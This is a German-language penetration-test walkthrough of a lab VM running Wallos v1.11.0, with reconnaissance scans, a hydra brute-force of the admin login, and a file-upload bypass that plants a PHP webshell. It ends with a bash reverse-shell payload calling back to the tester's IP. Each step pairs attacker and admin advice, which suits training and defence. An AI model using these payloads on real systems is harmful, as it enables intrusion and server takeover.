Analyse: Der erste Schritt ist wieder die Identifizierung aktiver Hosts im lokalen Netzwerk mittels `arp-scan -l`. Dieses Tool sendet ARP-Anfragen, um IP- und MAC-Adressen von Geräten im selben Netzwerksegment zu ermitteln.
Bewertung: `arp-scan` findet erfolgreich ein Zielsystem mit der IP-Adresse `192.168.2.106`. Die zugehörige MAC-Adresse `08:00:27:dc:2a:3b` gehört laut OUI-Lookup (PCS Systemtechnik GmbH) zu Oracle VirtualBox, was darauf hindeutet, dass es sich um eine virtuelle Maschine handelt. Dies ist die primäre IP für weitere Untersuchungen.
Empfehlung (Pentester): Die gefundene IP `192.168.2.106` als Ziel für detailliertere Scans (Nmap, Nikto etc.) verwenden. Die MAC-Adresse notieren, bestätigt die Virtualisierungsumgebung.
Empfehlung (Admin): Netzwerkmonitoring implementieren, um ARP-Scans zu erkennen. Sicherstellen, dass nur autorisierte Systeme im Netzwerk aktiv sind.
192.168.2.106 08:00:27:dc:2a:3b PCS Systemtechnik GmbH
Analyse: Die lokale Hosts-Datei (`/etc/hosts`) wird mit dem Texteditor `vi` bearbeitet, um der gefundenen IP-Adresse `192.168.2.106` den Hostnamen `airbinds.hmv` zuzuordnen. Dies vereinfacht die Ansprache des Ziels in nachfolgenden Schritten, insbesondere bei Webanwendungen.
Bewertung: Eine Standardprozedur, um die lokale Namensauflösung für das Ziel sicherzustellen. Die auskommentierten Einträge für `animetronic.hmv` und `king.vln` deuten auf frühere Arbeiten an anderen Zielen hin.
Empfehlung (Pentester): Immer die Hosts-Datei pflegen, wenn mit festen IPs gearbeitet wird, um potenzielle Probleme mit virtuellen Hosts oder Zertifikaten zu vermeiden.
Empfehlung (Admin): Keine serverseitigen Maßnahmen gegen lokale Hosts-Datei-Manipulation möglich. Sicherstellen, dass Serverkonfigurationen, die auf Hostnamen basieren, korrekt und dokumentiert sind.
127.0.0.1 localhost
127.0.1.1 CCat
# 192.168.2.104 animetronic.hmv
# 192.168.2.105 king.vln
192.168.2.106 airbinds.hmv
Analyse: `nikto` wird eingesetzt, ein Webserver-Scanner, der nach bekannten Schwachstellen, Fehlkonfigurationen, Standarddateien und interessanten Verzeichnissen sucht. `-h http://192.168.2.106` gibt das Ziel an.
Bewertung: Nikto liefert wertvolle erste Hinweise auf die Webanwendung und den Server: * Server: `Apache/2.4.57 (Ubuntu)`. * Fehlende Security Header: `X-Frame-Options` (Clickjacking-Schutz), `X-Content-Type-Options` (MIME-Sniffing-Schutz). * Cookie `PHPSESSID` ohne `HttpOnly`-Flag (anfällig für Diebstahl via XSS). * Root `/` leitet zu `login.php` weiter. * Verzeichnisauflistung (Directory Indexing) aktiv für `/scripts/`, `/db/`, `/includes/`, `/images/`, `/styles/`. Dies ist oft eine Informationsquelle. * Interne IP-Offenlegung (`127.0.1.1`) möglich (CVE-2000-0649). * `login.php` als Admin-Login identifiziert. * `.gitignore` und `.dockerignore` gefunden, die Aufschluss über die Projektstruktur geben können.
Empfehlung (Pentester): Die Verzeichnisse mit Directory Indexing durchsuchen, insbesondere `/db/` und `/includes/`. Die Dateien `.gitignore` und `.dockerignore` herunterladen und analysieren. Die fehlenden Security Header und das unsichere Cookie notieren. Die Login-Seite `login.php` genauer untersuchen.
Empfehlung (Admin): Fehlende Security Header implementieren (`X-Frame-Options: SAMEORIGIN` oder `DENY`, `X-Content-Type-Options: nosniff`). Cookies mit `HttpOnly`- und `Secure`-Flags versehen. Verzeichnisauflistung deaktivieren (`Options -Indexes` in Apache-Konfiguration). Interne IP-Offenlegung verhindern (Serverkonfiguration prüfen). `.gitignore` und `.dockerignore` sollten keine sensiblen Pfade enthalten und idealerweise nicht über das Web erreichbar sein.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.106 + Target Hostname: 192.168.2.106 + Target Port: 80 + Start Time: 2024-08-07 22:34:06 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.57 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + /: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies + Root page / redirects to: login.php + /scripts/: Directory indexing found. + /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.1.1". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649 + /db/: Directory indexing found. + /db/: This might be interesting. + /includes/: Directory indexing found. + /includes/: This might be interesting. + /images/: Directory indexing found. + /styles/: Directory indexing found. + /login.php: Admin login page/section found. + /.gitignore: .gitignore file found. It is possible to grasp the directory structure. + /.dockerignore: .dockerignore file found. It may be possible to grasp the directory structure and learn more about the site. + 8909 requests: 0 error(s) and 14 item(s) reported on remote host + End Time: 2024-08-07 22:34:30 (GMT2) (24 seconds)
Analyse: Ein umfassender `nmap`-Scan wird durchgeführt, um offene Ports, Dienste, Versionen und Betriebssysteminformationen zu sammeln. * `-sC`: Führt Standard-Nmap-Skripte aus. * `-sS`: SYN-Scan (Stealth). * `-sV`: Versionserkennung. * `-A`: Aggressiver Scan (OS-Erkennung, Version, Skripte, Traceroute). * `-O`: OS-Erkennung (Teil von `-A`). * `-T5`: Sehr schnelles Timing (riskant). * `-p-`: Scannt alle TCP-Ports.
Bewertung: Der Scan liefert wichtige Ergebnisse: * **Port 22 (SSH):** Ist als `filtered` markiert. Das bedeutet, Nmap konnte nicht eindeutig bestimmen, ob der Port offen oder geschlossen ist, da er keine Antwort erhielt oder die Pakete blockiert wurden (z.B. durch eine Firewall). * **Port 80 (HTTP):** Ist offen und läuft ein Apache 2.4.57 auf Ubuntu. Das `-sC`-Skript bestätigt das von Nikto gefundene unsichere PHPSESSID-Cookie (kein HttpOnly). Der Titel der Seite ist "Wallos - Subscription Tracker", und die Startseite ist `login.php`. * **OS-Erkennung:** Ist nicht eindeutig (`No exact OS matches`), schlägt aber verschiedene Linux-Versionen vor. * **MAC-Adresse:** Bestätigt VirtualBox. Der gefilterte SSH-Port ist eine wichtige Information.
Empfehlung (Pentester): Den Fokus auf den offenen Port 80 (HTTP) legen. Die Webanwendung "Wallos - Subscription Tracker" genauer untersuchen. Den gefilterten SSH-Port im Hinterkopf behalten – vielleicht ist er nur von bestimmten IPs erreichbar oder wird durch eine Firewall blockiert, die später umgangen werden kann.
Empfehlung (Admin): Firewall-Regeln überprüfen. Wenn SSH nicht benötigt wird, sollte der Port geschlossen sein. Wenn er benötigt wird, sicherstellen, dass die Firewall-Regeln korrekt sind und ihn nicht fälschlicherweise als `filtered` erscheinen lassen. Die Empfehlungen von Nikto bezüglich HTTP-Headern und Cookies umsetzen.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-07 22:33 CEST Nmap scan report for airbind (192.168.2.106) Host is up (0.00018s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp filtered ssh 80/tcp open http Apache httpd 2.4.57 ((Ubuntu)) |_http-server-header: Apache/2.4.57 (Ubuntu) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set | http-title: Wallos - Subscription Tracker |_Requested resource was login.php MAC Address: 08:00:27:DC:2A:3B (Oracle VirtualBox virtual NIC) Aggressive OS guesses: Linux 4.15 - 5.8 (95%), Linux 5.0 - 5.5 (94%), Linksys EA3500 WAP (94%), Linux 3.16 (93%), Linux 2.6.18 - 2.6.32 (93%), Linux 5.0 - 5.4 (92%), Linux 4.4 (92%), Linux 5.4 (92%), Android 4.4.0 (92%), Linux 2.6.32 (92%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.18 ms airbind (192.168.2.106)
80/tcp open http Apache httpd 2.4.57 ((Ubuntu))
Analyse: `gobuster` wird verwendet, um Verzeichnisse und Dateien auf dem Webserver zu finden (Directory/File Brute-Forcing). * `dir`: Modus für Verzeichnissuche. * `-u "http://airbinds.hmv"`: Die Ziel-URL. * `-w "/usr/.../directory-list-2.3-medium.txt"`: Die Wortliste für Verzeichnisse/Dateien. * `-x ...`: Eine lange Liste von Dateiendungen, die zusätzlich zum Wort aus der Liste angehängt und getestet werden sollen. * `-b '503,404'`: Statuscodes, die ignoriert werden sollen (hier nicht relevant, da 404 Standard ist und 503 nicht auftritt). * `-e`: Erweiterter Modus, gibt die vollständige URL aus. * `--no-error`: Unterdrückt Fehlermeldungen (z.B. bei Verbindungsproblemen). * `-k`: Ignoriert TLS/SSL-Zertifikatsfehler (hier nicht relevant für HTTP).
Bewertung: Gobuster findet mehrere interessante Pfade und Dateien: * Bestätigt die von Nikto gefundenen Verzeichnisse (`images`, `scripts`, `includes`, `db`, `styles`) und die `login.php`. * Findet weitere PHP-Dateien: `index.php` (leitet zu login.php weiter), `about.php`, `logos.php`, `stats.php`, `registration.php`, `logout.php`, `settings.php`, `auth.php`. Die meisten leiten unauthentifiziert zu `login.php` weiter. `logos.php` und `auth.php` geben Status 200 zurück. * Findet potenziell sensitive Dateien: `startup.sh`, `nginx.conf`, `manifest.json`. Diese könnten Konfigurationsdetails enthalten.
Empfehlung (Pentester): Die gefundenen Dateien `startup.sh`, `nginx.conf` und `manifest.json` herunterladen und analysieren. Die PHP-Seiten, die Status 200 zurückgeben (`logos.php`, `auth.php`, `login.php`), genauer auf Funktionalität und mögliche Schwachstellen untersuchen. Die Verzeichnisse mit Auflistung weiter durchsehen.
Empfehlung (Admin): Zugriff auf Konfigurationsdateien (`.conf`, `.sh`, `.json`) über den Webserver verhindern. Sicherstellen, dass nur notwendige Dateien und Verzeichnisse öffentlich zugänglich sind. Authentifizierung für alle sensiblen Seiten erzwingen.
============================================================================================================================== http://airbinds.hmv/index.php (Status: 302) [Size: 0] [--> login.php] http://airbinds.hmv/.php (Status: 403) [Size: 277] http://airbinds.hmv/.html (Status: 403) [Size: 277] http://airbinds.hmv/.phtml (Status: 403) [Size: 277] http://airbinds.hmv/images (Status: 301) [Size: 313] [--> http://airbinds.hmv/images/] http://airbinds.hmv/about.php (Status: 302) [Size: 0] [--> login.php] http://airbinds.hmv/login.php (Status: 200) [Size: 1924] http://airbinds.hmv/logos.php (Status: 200) [Size: 1977] http://airbinds.hmv/stats.php (Status: 302) [Size: 0] [--> login.php] http://airbinds.hmv/screenshots (Status: 301) [Size: 318] [--> http://airbinds.hmv/screenshots/] http://airbinds.hmv/scripts (Status: 301) [Size: 314] [--> http://airbinds.hmv/scripts/] http://airbinds.hmv/registration.php (Status: 302) [Size: 0] [--> login.php] http://airbinds.hmv/includes (Status: 301) [Size: 315] [--> http://airbinds.hmv/includes/] http://airbinds.hmv/db (Status: 301) [Size: 309] [--> http://airbinds.hmv/db/] http://airbinds.hmv/logout.php (Status: 302) [Size: 0] [--> .] http://airbinds.hmv/styles (Status: 301) [Size: 313] [--> http://airbinds.hmv/styles/] http://airbinds.hmv/settings.php (Status: 302) [Size: 0] [--> login.php] http://airbinds.hmv/auth.php (Status: 200) [Size: 0] http://airbinds.hmv/startup.sh (Status: 200) [Size: 1025] http://airbinds.hmv/libs (Status: 301) [Size: 311] [--> http://airbinds.hmv/libs/] http://airbinds.hmv/nginx.conf (Status: 200) [Size: 1186] http://airbinds.hmv/manifest.json (Status: 200) [Size: 2569] ==============================================================================================================================
Analyse: Der Inhalt der von Gobuster gefundenen Datei `nginx.conf` wird mit `curl` heruntergeladen und angezeigt. `curl` ist ein Kommandozeilentool zum Übertragen von Daten mit URLs.
Bewertung: Die Nginx-Konfigurationsdatei ist sehr aufschlussreich: * Sie bestätigt, dass Nginx als Reverse-Proxy oder Webserver läuft (obwohl Nmap Apache meldete – vielleicht läuft Apache hinter Nginx, oder Nginx wird hier nur zur Konfiguration von PHP-FPM verwendet, während Apache der Hauptserver ist? Oder die `Server:`-Header ist irreführend). * Das Web-Root-Verzeichnis ist `/var/www/html`. * PHP-Dateien werden an einen FastCGI-Prozess auf `127.0.0.1:9000` (vermutlich PHP-FPM) weitergeleitet. * **Wichtig:** Es gibt eine `location`-Direktive, die den Zugriff auf Dateien mit der Endung `.db` explizit verbietet (`deny all; return 403;`).
Empfehlung (Pentester): Die Information über den blockierten Zugriff auf `.db`-Dateien ist wichtig. Dies erklärt, warum der direkte Zugriff auf eine potenzielle Datenbankdatei im `/db/`-Verzeichnis fehlschlagen würde. Die PHP-FPM-Konfiguration (`127.0.0.1:9000`) notieren – falls später eine SSRF-Schwachstelle gefunden wird, könnte dies ein internes Ziel sein.
Empfehlung (Admin): Gut, dass der direkte Zugriff auf `.db`-Dateien blockiert ist. Sicherstellen, dass auch andere sensitive Dateitypen (Logdateien, Backups, Konfigurationsdateien) angemessen geschützt sind.
user nginx; worker_processes 1; error_log /var/log/nginx/error.log warn; pid /var/run/nginx.pid; events { worker_connections 1024; } http { include /etc/nginx/mime.types; default_type application/octet-stream; log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; access_log /var/log/nginx/access.log main; sendfile on; keepalive_timeout 65; server { listen 80; server_name localhost; location / { root /var/www/html; index index.php; } location ~ \.php$ { root /var/www/html; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } location ~ \.db$ { deny all; return 403; } } include /etc/nginx/conf.d/*.conf; }
Analyse: `wfuzz` wird verwendet, um nach virtuellen Hosts (Subdomains) zu suchen. * `-c`: Farbige Ausgabe. * `-w ...subdomains...txt`: Wortliste mit Subdomain-Namen. * `-u "http://airbinds.hmv"`: Basis-URL. * `-H "Host: FUZZ.airbinds.hmv"`: Setzt den HTTP-Host-Header. `FUZZ` wird durch die Wörter aus der Liste ersetzt. * `--hc "404"`: Versteckt Antworten mit Statuscode 404. * `--hh 0`: Versteckt Antworten mit 0 Zeichen (oft bei Weiterleitungen oder Fehlern).
Bewertung: Der Scan läuft durch die gesamte Wortliste (`114441` Anfragen), findet aber keine gültigen Subdomains, die eine andere Antwort als die Standardseite (oder eine versteckte Antwort) liefern (`Filtered Requests: 114437` - die Differenz sind wahrscheinlich Timeouts oder andere Fehler, keine gültigen Subdomains).
Empfehlung (Pentester): Die Suche nach Subdomains war hier nicht erfolgreich. Andere Methoden wie DNS-Zone-Transfers (falls ein DNS-Server gefunden wird), passive DNS-Recherche (Online-Tools) oder die Analyse von TLS-Zertifikaten (falls HTTPS verfügbar wäre) könnten versucht werden. Vorerst auf die Hauptanwendung konzentrieren.
Empfehlung (Admin): Unnötige Subdomains oder Wildcard-DNS-Einträge vermeiden. DNS-Server sicher konfigurieren (Zone-Transfers nur an autorisierte Server erlauben).
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://airbinds.hmv/ Total requests: 114441 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== Total time: 0 Processed Requests: 114441 Filtered Requests: 114437 Requests/sec.: 0
Analyse: Der Pentester besucht das Verzeichnis `/db/`, das zuvor als offen für Directory Indexing identifiziert wurde.
Bewertung: Wie von Nikto und Gobuster gemeldet, ist die Verzeichnisauflistung aktiv. Sie enthüllt eine Datei namens `wallos.db`. Aufgrund der Endung `.db` und des Namens der Anwendung ("Wallos") handelt es sich höchstwahrscheinlich um die SQLite-Datenbank der Anwendung. Obwohl die Nginx-Konfiguration den direkten Download von `.db`-Dateien blockiert, ist die Datei hier über die Verzeichnisauflistung sichtbar.
Empfehlung (Pentester): Auch wenn der direkte Download blockiert ist, ist die Existenz der Datei bestätigt. Versuchen, die Datenbank über andere Wege zu erhalten (z.B. Schwachstellen in der Anwendung, die LFI oder SQL-Injection ermöglichen könnten, oder falls später Dateisystemzugriff erlangt wird). Der Dateiname `wallos.db` sollte notiert werden.
Empfehlung (Admin): Verzeichnisauflistung für alle Verzeichnisse deaktivieren (`Options -Indexes`). Auch wenn der direkte Download blockiert ist, sollte die Existenz sensibler Dateien nicht preisgegeben werden.
http://airbinds.hmv/db/
Index of /db
=====================================================================
[ICO] Name Last modified Size Description
=====================================================================
[ ] wallos.db 2024-05-21 15:07 64K
=====================================================================
Apache/2.4.57 (Ubuntu) Server at airbinds.hmv Port 80
Analyse: Der Inhalt des von Gobuster gefundenen Skripts `startup.sh` wird mit `curl` heruntergeladen und angezeigt.
Bewertung: Dieses Skript ist extrem informativ: * Es startet `php-fpm` und `nginx`. * Es startet `crond` (Cron Daemon). * Es führt PHP-Skripte aus `/var/www/html/endpoints/cronjobs/` und `/var/www/html/endpoints/db/` aus, um die Datenbank zu erstellen (`createdatabase.php`), Migrationen durchzuführen (`migrate.php`) und Zahlungen/Wechselkurse zu aktualisieren (`updatenextpayment.php`, `updateexchange.php`). Diese Pfade und Skriptnamen sind wertvolle Informationen. * Es setzt Berechtigungen für `/var/www/html/db/` und `/var/www/html/images/uploads/logos` auf `755` und den Besitzer auf `www-data:www-data`. * Es endet mit `tail -f /dev/null`, um den Container (vermutlich Docker) am Laufen zu halten. Das Skript gibt Einblick in die Initialisierung und die internen Abläufe der Anwendung.
Empfehlung (Pentester): Die Pfade zu den Cronjob- und DB-Skripten notieren. Diese könnten Endpunkte sein, die direkt aufgerufen werden können oder Schwachstellen enthalten. Die Berechtigungsänderungen (insbesondere `755` für `/db/`) und der Besitz durch `www-data` sind relevant, falls Dateisystemzugriff erlangt wird. Das Skript bestätigt die Verwendung von PHP-FPM.
Empfehlung (Admin): Startup-Skripte sollten nicht öffentlich zugänglich sein. Sicherstellen, dass die Berechtigungen, die im Skript gesetzt werden, dem Prinzip der geringsten Rechte folgen. Cronjobs sicher implementieren und deren Endpunkte schützen.
#!/bin/sh echo "Startup script is running..." > /var/log/startup.log # Start both PHP-FPM and Nginx php-fpm & nginx -g 'daemon off;' & touch ~/startup.txt # Start the cron daemon crond # Wait one second before running scripts sleep 1 # Create database if it does not exist /usr/local/bin/php /var/www/html/endpoints/cronjobs/createdatabase.php # Perform any database migrations /usr/local/bin/php /var/www/html/endpoints/db/migrate.php # Change permissions on the database directory chmod -R 755 /var/www/html/db/ chown -R www-data:www-data /var/www/html/db/ # Change permissions on the logos directory chmod -R 755 /var/www/html/images/uploads/logos chown -R www-data:www-data /var/www/html/images/uploads/logos # Run updatenextpayment.php and wait for it to finish /usr/local/bin/php /var/www/html/endpoints/cronjobs/updatenextpayment.php # Run updateexchange.php /usr/local/bin/php /var/www/html/endpoints/cronjobs/updateexchange.php # Keep the container running indefinitely (this won't exit) tail -f /dev/null
Analyse: `hydra`, ein Passwort-Cracking-Tool, wird verwendet, um einen Brute-Force-Angriff auf das Web-Login-Formular durchzuführen. * `-l admin`: Testet den Benutzernamen `admin`. * `-P /usr/share/wordlists/rockyou.txt`: Verwendet die `rockyou.txt`-Wortliste für Passwörter. * `airbinds.hmv`: Das Zielsystem. * `http-post-form`: Das zu verwendende Hydra-Modul. * `"/login.php:username=^USER^&password=^PASS^:Login details are incorrect."`: Die Konfiguration für das Modul: * `/login.php`: Der Pfad zum Login-Formular. * `username=^USER^&password=^PASS^`: Die POST-Parameter, wobei `^USER^` und `^PASS^` Platzhalter sind. * `Login details are incorrect.`: Die Fehlermeldung, die bei einem falschen Login auf der Ergebnisseite erscheint.
Bewertung: Hydra ist sehr schnell erfolgreich! Es findet heraus, dass die Anmeldedaten `admin:admin` gültig sind. Dies ist ein sehr schwaches Passwort und ein kritischer Fund.
Empfehlung (Pentester): Sofort mit den gefundenen Anmeldedaten (`admin:admin`) im Webinterface (`http://airbinds.hmv/login.php`) anmelden und nach Schwachstellen suchen, insbesondere nach Dateiupload-Funktionen, Code-Ausführungsmöglichkeiten oder Möglichkeiten zur Eskalation.
Empfehlung (Admin): Niemals Standardpasswörter oder sehr schwache Passwörter wie `admin` verwenden! Starke, einzigartige Passwörter für alle Konten erzwingen. Account-Lockout-Mechanismen und Captchas implementieren, um Brute-Force-Angriffe auf Web-Logins zu erschweren.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-07 23:10:29 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344481 login tries (l:1/p:14344481), ~896531 tries per task [DATA] attacking http-post-form://airbinds.hmv:80/login.php:username=^USER^&password=^PASS^:Login details are incorrect. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [80][http-post-form] host: airbinds.hmv login: admin password: admin ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-07 23:10:41
Analyse: Der Pentester meldet sich mit `admin:admin` erfolgreich im Webinterface an und navigiert zur "About"-Seite (`/about.php`).
Bewertung: Die About-Seite bestätigt die verwendete Software und Version: `Wallos v1.11.0`. Diese Information ist entscheidend für die weitere Schwachstellensuche.
Empfehlung (Pentester): Die Version `Wallos v1.11.0` sofort mit Tools wie `searchsploit` oder Online-Datenbanken (CVE Details, Exploit-DB) auf bekannte Schwachstellen überprüfen.
Empfehlung (Admin): Software (CMS, Plugins etc.) immer aktuell halten, um bekannte Schwachstellen zu vermeiden.
login erfolgreich
http://airbinds.hmv/about.php
Informationen und Danksagungen
Wallos v1.11.0
Lizenz: GPLv3
Issues und Anfragen: GitHub
Der Autor: https://henrique.pt
Icons: https://www.streamlinehq.com/freebies/plump-flat-free
Zahlungsweisen Icons: https://www.figma.com/file/5IMW8JfoXfB5GRlPNdTyeg/Credit-Cards-and-Payment-Methods-Icons-(Community)
Chart.js: https://www.chartjs.org/
Analyse: `searchsploit`, ein Kommandozeilen-Tool zur Suche in der lokalen Exploit-DB-Datenbank, wird verwendet, um nach Exploits für "wallos" zu suchen.
Bewertung: Volltreffer! `searchsploit` findet einen Eintrag für `Wallos < 1.11.2 - File Upload RCE` (Remote Code Execution) mit dem Pfad `php/webapps/51924.txt`. Da die installierte Version 1.11.0 ist, ist die Anwendung anfällig für diese Schwachstelle.
Empfehlung (Pentester): Den Exploit-Code oder die Beschreibung aus `php/webapps/51924.txt` (oder direkt von Exploit-DB) holen und anwenden. Die Schwachstelle ermöglicht wahrscheinlich das Hochladen einer Webshell trotz Dateifiltern.
Empfehlung (Admin): Wallos dringend auf Version 1.11.2 oder höher aktualisieren, um die RCE-Schwachstelle zu schließen.
------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------ ---------------------------------
Wallos < 1.11.2 - File Upload RCE | php/webapps/51924.txt
------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
Analyse: Dieser Abschnitt zeigt einen mit Burp Suite abgefangenen oder konstruierten HTTP-POST-Request, der versucht, die gefundene RCE-Schwachstelle auszunutzen. * Ziel: `/endpoints/subscription/add.php` (ein Endpunkt zum Hinzufügen von Abonnements). * `Content-Type: multipart/form-data`: Zeigt einen Dateiupload an. * Parameter `name`: `benhacker`. * Parameter `logo`: Hier wird die Schwachstelle ausgenutzt. * `filename="revshell.php"`: Der gewünschte Dateiname. * `Content-Type: image/jpeg`: Täuscht einen erlaubten Bild-Dateityp vor. * Der Dateiinhalt beginnt mit `GIF89a` (Magic Bytes für GIF), um einfache Inhaltsprüfungen zu umgehen, enthält dann aber PHP-Code (`` - aus dem Originaltext rekonstruiert, da unvollständig). Der Rest ist nicht sichtbar.
Bewertung: Dies ist ein klassischer Versuch, einen Dateiupload-Filter zu umgehen, indem Metadaten (Dateiname, Content-Type) manipuliert und Magic Bytes vor den eigentlichen Schadcode gestellt werden. Der Exploit für CVE-2018-19422 in Wallos nutzt wahrscheinlich genau diese Technik.
Empfehlung (Pentester): Den Request absenden und die Server-Antwort sowie das Dateisystem (im erwarteten Upload-Verzeichnis) überprüfen, um zu sehen, ob die Shell erfolgreich hochgeladen wurde und unter welchem Namen sie gespeichert wurde.
Empfehlung (Admin): Dateiuploads serverseitig robust validieren: Nicht nur Endung und Content-Type prüfen, sondern auch Magic Bytes und den tatsächlichen Inhalt analysieren (z.B. Bilder neu kodieren). Die Anwendung patchen (Wallos >= 1.11.2).
POST /endpoints/subscription/add.php HTTP/1.1 Host: airbinds.hmv User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: */* Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br Referer: http://airbinds.hmv/ Content-Type: multipart/form-data; boundary=---------------------------88534912824449446283484888002 Content-Length: 7251 Origin: http://airbinds.hmv DNT: 1 Connection: keep-alive Cookie: theme=light; PHPSESSID=f1o3u68q5j2g20bfqus5485iul; language=de; theme=light X-Forwarded-For: 217.14.168.39 Sec-GPC: 1 -----------------------------88534912824449446283484888002 Content-Disposition: form-data; name="name" benhacker -----------------------------88534912824449446283484888002 Content-Disposition: form-data; name="logo"; filename="revshell.php" Content-Type: image/jpeg GIF89a GIF89a
Analyse: Die HTTP-Antwort des Servers auf den Upload-Versuch.
Bewertung: Die Antwort ist ein `HTTP/1.1 200 OK` mit der JSON-Nachricht `{"status":"Success","message":"Abonnement erfolgreich hinzugef\u00fcgt"}`. Dies deutet darauf hin, dass die Anwendung den Upload akzeptiert hat, ohne die Umgehungstechnik zu erkennen!
Empfehlung (Pentester): Erfolg! Nun muss der Speicherort der hochgeladenen Datei gefunden werden. Basierend auf dem `startup.sh`-Skript und üblichen Pfaden ist `/var/www/html/images/uploads/logos/` ein wahrscheinlicher Kandidat. Den Namen der Datei herausfinden (oft wird er vom Server geändert).
Empfehlung (Admin): Siehe vorherige Empfehlung: Patching und robuste Upload-Validierung sind dringend erforderlich.
HTTP/1.1 200 OK
Date: Wed, 07 Aug 2024 21:34:38 GMT
Server: Apache/2.4.57 (Ubuntu)
Set-Cookie: theme=light; expires=Fri, 06 Sep 2024 21:34:38 GMT; Max-Age=2592000
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 72
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json
{"status":"Success","message":"Abonnement erfolgreich hinzugef\u00fcgt"}
Analyse: Der Pentester durchsucht das vermutete Upload-Verzeichnis `/images/uploads/logos/` über den Browser.
Bewertung: Die Verzeichnisauflistung ist auch hier aktiv und bestätigt den Fund! Eine Datei namens `1723066478-benhacker.php` wurde gefunden. Der Name besteht aus einem Zeitstempel (`1723066478`), dem im Formular angegebenen Namen (`benhacker`) und der ursprünglichen Endung `.php`. Die Anwendung hat die Endung nicht geändert, was die Ausführung der Shell ermöglicht.
Empfehlung (Pentester): Die Shell ist hochgeladen und der Pfad bekannt. Einen Listener starten (`nc -lvnp ...`) und dann die Shell über den Browser aufrufen (`http://airbinds.hmv/images/uploads/logos/1723066478-benhacker.php?cmd=...`), um eine Reverse Shell zu erhalten oder Befehle auszuführen.
Empfehlung (Admin): Verzeichnisauflistung deaktivieren. Hochgeladene Dateien immer umbenennen und die Endung kontrollieren/ändern. Ausführung von Skripten in Upload-Verzeichnissen verhindern.
browse http://airbinds.hmv/images/uploads/logos/
===========================================================================
Index of /images/uploads/logos
===========================================================================
[ICO] Name Last modified Size
===========================================================================
[] 1723066478-benhacker.php 2024-08-07 21:34 5.4K
===========================================================================
Apache/2.4.57 (Ubuntu) Server at airbinds.hmv Port 80
Analyse: Ein `netcat`-Listener wird auf Port 9001 gestartet. Anschließend wird die URL der hochgeladenen Shell im Browser aufgerufen (impliziert durch die URL-Angabe). Später wird eine andere Shell-Datei (`1723067040-deni.php`) mit dem Parameter `?cmd=id` aufgerufen.
Bewertung: Der Aufruf von `?cmd=id` bei der `.php`-Datei führt zur Ausgabe `GIF89a; uid=33(www-data) gid=33(www-data) groups=33(www-data)`. Das `GIF89a;` sind die Magic Bytes, die zur Umgehung des Filters verwendet wurden. Die nachfolgende `uid=...`-Ausgabe bestätigt, dass der `system()`-Befehl in der PHP-Shell erfolgreich als Benutzer `www-data` ausgeführt wurde! Der erste Listener (`nc -lvnp 9001`) hat hier noch keine Verbindung erhalten.
Empfehlung (Pentester): Die Code-Ausführung ist bestätigt. Nun den Befehl für eine Reverse Shell senden. Der nächste Schritt zeigt dies.
Empfehlung (Admin): Siehe vorherige Empfehlungen zu Patching und Upload-Sicherheit.
listening on [any] 9001 ...
http://airbinds.hmv/images/uploads/logos/1723066478-benhacker.php
http://airbinds.hmv/images/uploads/logos/1723067040-deni.php?cmd=id GIF89a; uid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: Die Webshell wird erneut aufgerufen, diesmal mit einem URL-kodierten Bash-Reverse-Shell-Payload als `cmd`-Parameter: `%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F9001%200%3E%261%27`. Parallel dazu wird auf dem Angreifer-System erneut ein `nc`-Listener auf Port 9001 gestartet.
Bewertung: Erfolg! Der Listener auf dem Angreifer-System meldet `connect to [192.168.2.199] from (UNKNOWN) [192.168.2.106] 55760`. Der Angreifer hat nun eine interaktive Shell auf dem Zielsystem als Benutzer `www-data`.
